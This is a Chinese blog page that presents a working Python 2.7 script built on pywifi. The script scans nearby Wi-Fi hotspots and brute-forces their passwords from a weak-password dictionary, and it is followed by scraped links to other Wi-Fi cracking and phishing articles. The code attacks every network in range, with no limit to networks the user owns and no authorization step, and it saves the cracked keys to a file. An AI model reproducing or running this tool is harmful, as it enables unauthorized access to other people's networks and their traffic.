上点python有意思的代码。

环境准备

  • python2.7
  • pywifi模块
  • 字典
  • 清除系统中的任何wifi连接记录

导入模块

这里用的模块就这三个 pywifi的_wifiutil_linux.py脚本的 _send_cmd_to_wpas方法中的if reply != b'OK\n':判断需要修改,不然会有很多的提示信息。

from pywifi import *
import time
import sys

字典准备

随机搞的wifi弱口令TOP10

  1. 12345678
  2. 123456789
  3. 88888888
  4. 1234567890
  5. 00000000
  6. 87654321
  7. 66668888
  8. 11223344
  9. 147258369
  10. 11111111

配置扫描器

推荐扫描时常可以设置在15-20秒之间 测试时常则可以自定义,考虑到认证速度于距离的关系,我一般设置在15左右,再久的也没意义 到时候就算破解成功的热点,信号也好不到哪里

def main():
#扫描时常
scantimes = 3
#单个密码测试延迟
testtimes = 15
output = sys.stdout
#结果文件保存路径
files = "TestRes.txt"
#字典列表
keys = open(sys.argv[1],"r").readlines()
print "|KEYS %s"%(len(keys))
#实例化一个pywifi对象
wifi = PyWiFi()
#选择定一个网卡并赋值于iface
iface = wifi.interfaces()[0]
#通过iface进行一个时常为scantimes的扫描并获取附近的热点基础配置
scanres = scans(iface,scantimes)
#统计附近被发现的热点数量
nums = len(scanres)
print "|SCAN GET %s"%(nums)
print "%s\n%-*s| %-*s| %-*s| %-*s | %-*s | %-*s %*s \n%s"%("-"*70,6,"WIFIID",18,"SSID OR BSSID",2,"N",4,"time",7,"signal",10,"KEYNUM",10,"KEY","="*70)
#将每一个热点信息逐一进行测试
for i,x in enumerate(scanres):
#测试完毕后,成功的结果讲存储到files中
res = test(nums-i,iface,x,keys,output,testtimes)
if res:
open(files,"a").write(res)

扫描周围热点

def scans(face,timeout):
#开始扫描
face.scan()
time.sleep(timeout)
#在若干秒后获取扫描结果
return face.scan_results()

热点测试

这里后续推荐将扫描过程数据入库,防止重复扫描,且更加直观。

def test(i,face,x,key,stu,ts):
#显示对应网络名称,考虑到部分中文名啧显示bssid
showID = x.bssid if len(x.ssid)>len(x.bssid) else x.ssid
#迭代字典并进行爆破
for n,k in enumerate(key):
x.key = k.strip()
#移除所有热点配置
face.remove_all_network_profiles()
#讲封装好的目标尝试连接
face.connect(face.add_network_profile(x))
#初始化状态码,考虑到用0会发生些逻辑错误
code = 10
t1 = time.time()
#循环刷新状态,如果置为0则密码错误,如超时则进行下一个
while code!=0 :
time.sleep(0.1)
code = face.status()
now = time.time()-t1
if now>ts:
break
stu.write("\r%-*s| %-*s| %s |%*.2fs| %-*s | %-*s %*s"%(6,i,18,showID,code,5,now,7,x.signal,10,len(key)-n,10,k.replace("\n","")))
stu.flush()
if code == 4:
face.disconnect()
return "%-*s| %s | %*s |%*s\n"%(20,x.ssid,x.bssid,3,x.signal,15,k)
return False

案例

这里显示本次测试使用了11个弱口令,并扫描到了20个热点,然后开始坑爹的跑起来了

  • WIFIID 热点的id号 每跑一个会减1
  • SSID OR BSSID 热点的ssid名或mac地址
  • N 对热点的连接状态,这个在
  • time 当前所花去的时间
  • signal 热点的信号强度,若小越好
  • KEYNUM 测试密码的id 每跑一个会减1
  • KEY 当前测试的密码

转自知乎-wifi破解的更多相关文章

  1. 一些Wifi破解姿势

    wlan0:无线网卡设备 BSSID/AP's MAC:目标路由器的mac地址 Client's MAC:连接到此wifi客户端的mac地址 ESSID:这个无线的名字 大致思路: 获取bssid和e ...

  2. wifi破解基础及工具的使用

    cdlinux学习,WiFi破解 cdlinux下载.vm安装 cdlinux下载 密码:vxao - 注意:cdlinux必须是在连接网卡的情况下,才能使用 水滴的使用 抓包.跑包 选择信号强度高, ...

  3. 详解WIFI破解-Kali篇

    转自: http://www.secbox.cn/hacker/wireless/4877.html 工具: 1:笔记本 2:USB无线网卡(必备) 3:kali系统 4:靠谱字典 第一种方法: 暴力 ...

  4. wifi破解到局域网渗透

    本文转自 _博客 一,密码破解 wifi破解最主要的还是抓握手包破解(不要给我说某某钥匙的“分享”). wifi认证主要分为四步: 1,无线客户端与ap连接时,首先发送一个认证请求包 2,ap收到请求 ...

  5. wifi破解不是真黑客不靠谱?

    Wifi破解神器骗局:摆地摊+网络兜售 近日,"万能wifipassword破解器"风靡全国地摊.各地小贩開始兜售这样的蹭网卡.声称可破解各种wifipassword,当场測试也是 ...

  6. 实战-Fluxion与wifi热点伪造、钓鱼、中间人攻击、wifi破解

    原作者:PG     整理:玄魂工作室-荣杰 目录: 0x00-Fluxion是什么 0x01-Fluxion工作原理 0x02-Kali上安装fluxion 0x03-Fluxion工具使用说明+实 ...

  7. WIFI破解总结

    寒假回家了,由于家里没有宽带,而周围又有好多WIFI所以尝试了破解人家的WIFI,嘻嘻. 1.准备u盘一个,格式化 2.用制作工具,将cdlinux系统的镜像安装进u盘 3.用u盘启动电脑,进入cdl ...

  8. commview for wifi 破解无线

    相信了解无线网络的读者都知道安全性是无线网络的先天不足,正是因为他的传播通过空气,所以信号很容易出现外泄问题,相比有线网络来说信号监听变得非常简单. 部分用户通过WEP加密的方式来保护网络通讯数据包避 ...

  9. wifi 破解笔记

        最近小夜刚刚学习了无线WiFi的密码破解,感觉很神奇,不过以下操作都是作为学习测试的内容进行的,希望志同道合的小伙伴切不要触碰法律的红线哦!       话不多说,直接上硬菜.     实验环 ...

随机推荐

  1. django 实现同一个ip十分钟内只能注册一次(redis版本)

    上一篇文章,django 实现同一个ip十分钟内只能注册一次 的时候,我们在注册的时候选择使用的使我们的数据库来报错我们的注册的ip信息,可是如果数据量大,用户多的时候,单单靠我们的数据库 来储存我们 ...

  2. MS-SQL 错误: The offset specified in a OFFSET clause may not be negative

    Example 1 : (Fetch clause must be greater than zero) USE AdventureWorks2012 GO SELECT * FROM [HumanR ...

  3. Three.js 保存camera(视角)设置到数据库,包括场景的缩放、旋转、移动等

    最近在做的项目中遇到需要保存当前的3d管道视角设置的问题,用户希望在对3d场景内的管道进行了缩放.旋转.移动之后可以将场景当前的视角状态保存在数据库中,并在下次加载时读取. 经过不断的尝试和研究,在同 ...

  4. C++雾中风景1:友元类与面向对象

    因为后续准备入职的公司都希望能转C++,所以最近也是按部就班的开始进行C++的学习.然后这个系列的文章打算探究C++的语言特性,也比较一下不同语言(如Java,Scala,Python,Go)之间的设 ...

  5. java中volatile的简单理解

    原创作品,可以转载,但是请标注出处地址:http://www.cnblogs.com/V1haoge/p/7833881.html 据说,volatile是java语言中最轻量级的并发控制方式. vo ...

  6. 身为运维的你,怎么掌握python才不会失业

    以前,我们都说Python是运维工程师的未来:现在,为什么大家都说不会Python的运维都将失业?运维必须懂开发,特别是python开发,已经形成大家的共识,不懂开发的运维,路会越走越窄. 而现在的情 ...

  7. HtmlImageGenerator乱码问题解决、html2image放linux上乱码问题解决

    使用html2image-0.9.jar生成图片. 在本地window系统正常,放到服务器linux系统时候中文乱码问题.英文可以,中文乱码应该就是字体问题了. 一.首先需要在linux安装字体,si ...

  8. linux操作系统基础篇(二)

    Linux用户.群组.权限 1.用户也是由一个个文件组成的下列文件都是存放用户信息的文件 useradd user1 /etc/passwd: 存放用户信息  /etc/shadow/ :存放用户密码 ...

  9. spring4+srpingmvc+mybatis基本框架(app后台框架搭建一)

    前言: 随着spring 越来越强大,用spring4来搭建框架也是很快速,问题是你是对spring了解有多深入.如果你是新手,那么在搭建的过程中可以遇到各种各样奇葩的问题. SSM框架的搭建是作为我 ...

  10. Quartus FFT IP核简介

    为了突出重点,仅对I/O数据流为steaming的情况作简要说明,以便快速上手,有关FFT ip核模型及每种设置详细介绍请参考官方手册FFT MegaCore Function User Guide. ...